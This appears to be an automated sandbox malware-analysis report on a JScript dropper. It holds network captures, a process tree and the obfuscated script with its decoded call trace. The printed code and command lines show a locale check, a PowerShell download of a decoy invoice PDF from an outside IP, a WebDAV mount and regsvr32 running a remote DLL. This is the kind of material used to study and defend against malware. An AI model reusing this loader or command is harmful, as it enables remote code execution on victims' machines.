6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 01:40:28.945064068 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 01:40:28.945075989 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 01:40:28.945086956 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 01:40:28.945099115 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 01:40:28.945111036 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 01:40:28.945123911 CET	776	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 01:40:28.945135117 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 01:40:28.945146084 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 01:40:28.945158958 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9
Jan 11, 2025 01:40:28.950076103 CET	444	IN	Data Raw: d8 51 55 3b 72 1f 4b 07 86 5e 9c eb 03 43 6f 8f a2 18 3a 7c 34 7d 33 3d 0e f7 e7 7f 7d 10 fe fa fd 38 86 36 9b 72 4d 0c bd e9 62 28 c7 86 4e 61 ea 9b 13 00 00 c0 34 f8 62 09 00 36 ca dc 4e c3 1d b9 b9 b1 50 5d 07 c2 a2 a1 0f 97 14 b9 ed a9 26 5b Data Ascii: QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7652	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:40:30.244204998 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 01:40:31.070600986 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:40:30 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	19:40:24
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1187225758523111660.js"
Imagebase:	0x7ff781d30000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	19:40:25
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll
Imagebase:	0x7ff7409b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:40:25
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:40:25
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:40:28
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	19:40:28
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7409b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:40:28
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff735660000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:40:29
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	19:40:29
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	19:40:29
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1548,i,11986598868323406521,12536262315050438690,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function wmqrt() {	wmqrt() ➔ undefined
1	hovnax = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var xhepv = this[ewssjmmc + xbqpqidx + svrjpi + qotoam + xtawobj + gbnein + bvrzm + riwoly] ( this[urxddk + ituyz + jbpebjqsd + svrjpi + vshjvh + ewssjmmc + riwoly][dqjstfnlb + svrjpi + xtawobj + xbqpqidx + riwoly + xtawobj + rkydkbamz + jumjosq + hwybqx + xtawobj + jbpebjqsd + riwoly] ( urxddk + ituyz + jbpebjqsd + svrjpi + vshjvh + ewssjmmc + riwoly + bmgfi + ituyz + xastwlou + xtawobj + ssxgxzia + ssxgxzia ) [lhigiseh + xtawobj + yjjfmofo + lhigiseh + xtawobj + xbqpqidx + kifnaos] ( qsksb + cezayacle + heehevkew + xgdemmlxl + bebps + dqjstfnlb + lsrik + lhigiseh + lhigiseh + heehevkew + fqpflyte + fvmchozo + bebps + lsrik + ituyz + heehevkew + lhigiseh + dakgado + dqjstfnlb + harcht + bvrzm + riwoly + svrjpi + harcht + ssxgxzia + ozlajn + xwtkxkim + xbqpqidx + bvrzm + xtawobj + ssxgxzia + dakgado + gbnein + bvrzm + riwoly + xtawobj + svrjpi + bvrzm + xbqpqidx + riwoly + vshjvh + harcht + bvrzm + xbqpqidx + ssxgxzia + dakgado + wgazki + harcht + jbpebjqsd + xbqpqidx + ssxgxzia + xtawobj ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( svlaxr = 0 ; svlaxr < hovnax[ssxgxzia + xtawobj + bvrzm + yjjfmofo + riwoly + xastwlou] ; ++ svlaxr )
4	{
5	if ( xhepv == hovnax[svlaxr] )
6	{
7	xhepv = true;
8	break ;
9	}
10	}
11	if ( xhepv !== true )
12	this[urxddk + ituyz + jbpebjqsd + svrjpi + vshjvh + ewssjmmc + riwoly][mcxpgikrb + fqvlp + vshjvh + riwoly] ( );
13	this[urxddk + ituyz + jbpebjqsd + svrjpi + vshjvh + ewssjmmc + riwoly][dqjstfnlb + svrjpi + xtawobj + xbqpqidx + riwoly + xtawobj + rkydkbamz + jumjosq + hwybqx + xtawobj + jbpebjqsd + riwoly] ( urxddk + ituyz + jbpebjqsd + svrjpi + vshjvh + ewssjmmc + riwoly + bmgfi + ituyz + xastwlou + xtawobj + ssxgxzia + ssxgxzia ) [svrjpi + fqvlp + bvrzm] ( jbpebjqsd + csdelwhq + kifnaos + ozlajn + movddsj + jbpebjqsd + ozlajn + ewssjmmc + harcht + rwodl + xtawobj + svrjpi + qotoam + xastwlou + xtawobj + ssxgxzia + ssxgxzia + bmgfi + xtawobj + hmmnnsfmj + xtawobj + ozlajn + gnwrxom + dqjstfnlb + harcht + csdelwhq + csdelwhq + xbqpqidx + bvrzm + kifnaos + ozlajn + fnyzjpx + gbnein + bvrzm + nfyvbkevr + harcht + rvesgrlh + xtawobj + gnwrxom + urxddk + xtawobj + jumjosq + lhigiseh + xtawobj + zozfscnv + fqvlp + xtawobj + qotoam + riwoly + ozlajn + gnwrxom + rkydkbamz + fqvlp + riwoly + ylperrdf + vshjvh + ssxgxzia + xtawobj + ozlajn + gypajqo + riwoly + xtawobj + csdelwhq + ewssjmmc + gypajqo + dakgado + vshjvh + bvrzm + nfyvbkevr + harcht + vshjvh + jbpebjqsd + xtawobj + bmgfi + ewssjmmc + kifnaos + byhkt + ozlajn + xastwlou + riwoly + riwoly + ewssjmmc + wnpwpjlt + movddsj + movddsj + wvdgofavz + qiyrr + uxhbxwh + bmgfi + wvdgofavz + rzxndxqn + uxhbxwh + bmgfi + wvdgofavz + bmgfi + flopmx + dezvaciak + ohjeo + movddsj + vshjvh + bvrzm + nfyvbkevr + harcht + vshjvh + jbpebjqsd + xtawobj + bmgfi + ewssjmmc + xastwlou + ewssjmmc + fnyzjpx + lfcrnv + lfcrnv + qotoam + riwoly + xbqpqidx + svrjpi + riwoly + ozlajn + gypajqo + riwoly + xtawobj + csdelwhq + ewssjmmc + gypajqo + dakgado + vshjvh + bvrzm + nfyvbkevr + harcht + vshjvh + jbpebjqsd + xtawobj + bmgfi + ewssjmmc + kifnaos + byhkt + lfcrnv + lfcrnv + jbpebjqsd + csdelwhq + kifnaos + ozlajn + movddsj + jbpebjqsd + ozlajn + bvrzm + xtawobj + riwoly + ozlajn + fqvlp + qotoam + xtawobj + ozlajn + dakgado + dakgado + wvdgofavz + qiyrr + uxhbxwh + bmgfi + wvdgofavz + rzxndxqn + uxhbxwh + bmgfi + wvdgofavz + bmgfi + flopmx + dezvaciak + ohjeo + tzejtwdh + ujrtutyc + ujrtutyc + ujrtutyc + ujrtutyc + dakgado + kifnaos + xbqpqidx + nfyvbkevr + rwodl + rwodl + rwodl + svrjpi + harcht + harcht + riwoly + dakgado + lfcrnv + lfcrnv + jbpebjqsd + csdelwhq + kifnaos + ozlajn + movddsj + jbpebjqsd + ozlajn + svrjpi + xtawobj + yjjfmofo + qotoam + nfyvbkevr + svrjpi + uxhbxwh + flopmx + ozlajn + movddsj + qotoam + ozlajn + dakgado + dakgado + wvdgofavz + qiyrr + uxhbxwh + bmgfi + wvdgofavz + rzxndxqn + uxhbxwh + bmgfi + wvdgofavz + bmgfi + flopmx + dezvaciak + ohjeo + tzejtwdh + ujrtutyc + ujrtutyc + ujrtutyc + ujrtutyc + dakgado + kifnaos + xbqpqidx + nfyvbkevr + rwodl + rwodl + rwodl + svrjpi + harcht + harcht + riwoly + dakgado + uxhbxwh + wvdgofavz + qiyrr + rzxndxqn + uxhbxwh + wvdgofavz + ujrtutyc + qiyrr + ohjeo + affzxqtv + flopmx + ohjeo + qiyrr + thrno + uxhbxwh + bmgfi + kifnaos + ssxgxzia + ssxgxzia, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319431895725963.dll",0,false) ➔ 0
14	}
15	ujrtutyc = "s";
16	ujrtutyc = "w";
17	ujrtutyc = "S";
18	ujrtutyc = "z";
19	ujrtutyc = "C";
20	ujrtutyc = "g";
21	ujrtutyc = "a";
22	ujrtutyc = "U";
23	ujrtutyc = "I";
24	ujrtutyc = "c";
25	ujrtutyc = "R";
26	ujrtutyc = "P";
27	ujrtutyc = "g";
28	ujrtutyc = "n";
29	ujrtutyc = "P";
30	ujrtutyc = "p";
31	ujrtutyc = "a";
32	ujrtutyc = "C";
33	ujrtutyc = "b";
34	ujrtutyc = "l";
35	ujrtutyc = "B";
36	ujrtutyc = "f";
37	ujrtutyc = "I";
38	ujrtutyc = "e";
39	ujrtutyc = "i";
40	ujrtutyc = "e";
41	ujrtutyc = "y";
42	ujrtutyc = "y";
43	ujrtutyc = "O";
44	ujrtutyc = "c";
45	ujrtutyc = "d";
46	ujrtutyc = "A";
47	ujrtutyc = "V";
48	ujrtutyc = "R";
49	ujrtutyc = "q";
50	ujrtutyc = "c";
51	ujrtutyc = "c";
52	ujrtutyc = "g";
53	ujrtutyc = "E";
54	ujrtutyc = "M";
55	ujrtutyc = "8";
56	rkydkbamz = "H";
57	rkydkbamz = "D";
58	rkydkbamz = "a";
59	rkydkbamz = "t";
60	rkydkbamz = "n";
61	rkydkbamz = "R";
62	rkydkbamz = "O";
63	xastwlou = "u";
64	xastwlou = "j";
65	xastwlou = "U";
66	xastwlou = "F";
67	xastwlou = "p";
68	xastwlou = "I";
69	xastwlou = "s";
70	xastwlou = "X";
71	xastwlou = "v";
72	xastwlou = "L";
73	xastwlou = "f";
74	xastwlou = "e";
75	xastwlou = "L";
76	xastwlou = "T";
77	xastwlou = "u";
78	xastwlou = "z";
79	xastwlou = "a";
80	xastwlou = "y";
81	xastwlou = "o";
82	xastwlou = "P";
83	xastwlou = "k";
84	xastwlou = "P";
85	xastwlou = "N";
86	xastwlou = "E";
87	xastwlou = "l";
88	xastwlou = "M";
89	xastwlou = "I";
90	xastwlou = "v";
91	xastwlou = "u";
92	xastwlou = "I";
93	xastwlou = "D";
94	xastwlou = "s";
95	xastwlou = "n";
96	xastwlou = "x";
97	xastwlou = "R";
98	xastwlou = "e";
99	xastwlou = "p";
100	xastwlou = "A";
101	xastwlou = "h";
102	movddsj = "c";
103	movddsj = "l";
104	movddsj = "b";
105	movddsj = "A";
106	movddsj = "H";
107	movddsj = "m";
108	movddsj = "g";
109	movddsj = "a";
110	movddsj = "J";
111	movddsj = "X";
112	movddsj = "G";
113	movddsj = "a";
114	movddsj = "u";
115	movddsj = "K";
116	movddsj = "n";
117	movddsj = "M";
118	movddsj = "w";
119	movddsj = "x";
120	movddsj = "N";
121	movddsj = "q";
122	movddsj = "C";
123	movddsj = "z";
124	movddsj = "I";
125	movddsj = "x";
126	movddsj = "G";
127	movddsj = "/";
128	rwodl = "f";
129	rwodl = "s";
130	rwodl = "Q";
131	rwodl = "X";
132	rwodl = "z";
133	rwodl = "C";
134	rwodl = "R";
135	rwodl = "y";
136	rwodl = "V";
137	rwodl = "v";
138	rwodl = "G";
139	rwodl = "L";
140	rwodl = "P";
141	rwodl = "C";
142	rwodl = "Q";
143	rwodl = "i";
144	rwodl = "A";
145	rwodl = "p";
146	rwodl = "o";
147	rwodl = "Y";
148	rwodl = "k";
149	rwodl = "r";
150	rwodl = "c";
151	rwodl = "R";
152	rwodl = "c";
153	rwodl = "g";
154	rwodl = "Q";
155	rwodl = "x";
156	rwodl = "x";
157	rwodl = "J";
158	rwodl = "a";
159	rwodl = "Y";
160	rwodl = "C";
161	rwodl = "M";
162	rwodl = "E";
163	rwodl = "L";
164	rwodl = "j";
165	rwodl = "w";
166	tzejtwdh = "g";
167	tzejtwdh = "g";
168	tzejtwdh = "w";
169	tzejtwdh = "K";
170	tzejtwdh = "I";
171	tzejtwdh = "r";
172	tzejtwdh = "B";
173	tzejtwdh = "C";
174	tzejtwdh = "V";
175	tzejtwdh = "@";
176	zozfscnv = "w";
177	zozfscnv = "d";
178	zozfscnv = "v";
179	zozfscnv = "j";
180	zozfscnv = "q";
181	zozfscnv = "l";
182	zozfscnv = "x";
183	zozfscnv = "R";
184	zozfscnv = "t";
185	zozfscnv = "K";
186	zozfscnv = "k";
187	zozfscnv = "e";
188	zozfscnv = "k";
189	zozfscnv = "S";
190	zozfscnv = "m";
191	zozfscnv = "a";
192	zozfscnv = "c";
193	zozfscnv = "j";
194	zozfscnv = "V";
195	zozfscnv = "X";
196	zozfscnv = "H";
197	zozfscnv = "w";
198	zozfscnv = "n";
199	zozfscnv = "Z";
200	zozfscnv = "q";
201	zozfscnv = "V";
202	zozfscnv = "j";
203	zozfscnv = "w";
204	zozfscnv = "K";
205	zozfscnv = "N";
206	zozfscnv = "h";
207	zozfscnv = "i";
208	zozfscnv = "u";
209	zozfscnv = "o";
210	zozfscnv = "z";
211	zozfscnv = "y";
212	zozfscnv = "C";
213	zozfscnv = "p";
214	zozfscnv = "b";
215	zozfscnv = "V";
216	zozfscnv = "q";
217	fqvlp = "u";
218	ylperrdf = "Q";
219	ylperrdf = "v";
220	ylperrdf = "f";
221	ylperrdf = "N";
222	ylperrdf = "T";
223	ylperrdf = "M";
224	ylperrdf = "a";
225	ylperrdf = "I";
226	ylperrdf = "D";
227	ylperrdf = "d";
228	ylperrdf = "n";
229	ylperrdf = "o";
230	ylperrdf = "t";
231	ylperrdf = "p";
232	ylperrdf = "L";
233	ylperrdf = "R";
234	ylperrdf = "L";
235	ylperrdf = "g";
236	ylperrdf = "p";
237	ylperrdf = "t";
238	ylperrdf = "l";
239	ylperrdf = "J";
240	ylperrdf = "L";
241	ylperrdf = "F";
242	qotoam = "U";
243	qotoam = "R";
244	qotoam = "s";
245	fnyzjpx = "S";
246	fnyzjpx = "l";
247	fnyzjpx = "V";
248	fnyzjpx = "L";
249	fnyzjpx = "x";
250	fnyzjpx = "P";
251	fnyzjpx = "f";
252	fnyzjpx = "U";
253	fnyzjpx = "u";
254	fnyzjpx = "f";
255	fnyzjpx = "r";
256	fnyzjpx = "t";
257	fnyzjpx = "j";
258	fnyzjpx = "H";
259	fnyzjpx = "J";
260	fnyzjpx = "T";
261	fnyzjpx = "V";
262	fnyzjpx = "e";
263	fnyzjpx = "P";
264	fnyzjpx = "k";
265	fnyzjpx = "q";
266	fnyzjpx = "v";
267	fnyzjpx = "T";
268	fnyzjpx = "b";
269	fnyzjpx = "X";
270	fnyzjpx = "b";
271	fnyzjpx = "J";
272	fnyzjpx = "\"";
273	urxddk = "w";
274	urxddk = "U";
275	urxddk = "h";
276	urxddk = "V";
277	urxddk = "g";
278	urxddk = "a";
279	urxddk = "t";
280	urxddk = "w";
281	urxddk = "Y";
282	urxddk = "q";
283	urxddk = "V";
284	urxddk = "e";
285	urxddk = "R";
286	urxddk = "W";
287	urxddk = "m";
288	urxddk = "V";
289	urxddk = "I";
290	urxddk = "X";
291	urxddk = "o";
292	urxddk = "W";
293	csdelwhq = "h";
294	csdelwhq = "L";
295	csdelwhq = "G";
296	csdelwhq = "J";
297	csdelwhq = "Q";
298	csdelwhq = "n";
299	csdelwhq = "I";
300	csdelwhq = "M";
301	csdelwhq = "B";
302	csdelwhq = "S";
303	csdelwhq = "Y";
304	csdelwhq = "H";
305	csdelwhq = "u";
306	csdelwhq = "P";
307	csdelwhq = "T";
308	csdelwhq = "J";
309	csdelwhq = "Y";
310	csdelwhq = "L";
311	csdelwhq = "O";
312	csdelwhq = "r";
313	csdelwhq = "e";
314	csdelwhq = "Z";
315	csdelwhq = "F";
316	csdelwhq = "V";
317	csdelwhq = "X";
318	csdelwhq = "l";
319	csdelwhq = "m";
320	csdelwhq = "V";
321	csdelwhq = "l";
322	csdelwhq = "Q";
323	csdelwhq = "a";
324	csdelwhq = "m";
325	riwoly = "G";
326	riwoly = "O";
327	riwoly = "g";
328	riwoly = "Z";
329	riwoly = "e";
330	riwoly = "F";
331	riwoly = "w";
332	riwoly = "P";
333	riwoly = "i";
334	riwoly = "X";
335	riwoly = "c";
336	riwoly = "o";
337	riwoly = "t";
338	cezayacle = "N";
339	cezayacle = "I";
340	cezayacle = "X";
341	cezayacle = "x";
342	cezayacle = "v";
343	cezayacle = "r";
344	cezayacle = "W";
345	cezayacle = "e";
346	cezayacle = "A";
347	cezayacle = "B";
348	cezayacle = "H";
349	cezayacle = "v";
350	cezayacle = "O";
351	cezayacle = "Z";
352	cezayacle = "K";
353	cezayacle = "R";
354	cezayacle = "d";
355	cezayacle = "Z";
356	cezayacle = "j";
357	cezayacle = "d";
358	cezayacle = "y";
359	cezayacle = "U";
360	cezayacle = "t";
361	cezayacle = "Y";
362	cezayacle = "K";
363	lsrik = "p";
364	lsrik = "c";
365	lsrik = "z";
366	lsrik = "L";
367	lsrik = "X";
368	lsrik = "v";
369	lsrik = "B";
370	lsrik = "B";
371	lsrik = "s";
372	lsrik = "a";
373	lsrik = "z";
374	lsrik = "B";
375	lsrik = "q";
376	lsrik = "F";
377	lsrik = "S";
378	lsrik = "t";
379	lsrik = "G";
380	lsrik = "a";
381	lsrik = "P";
382	lsrik = "s";
383	lsrik = "H";
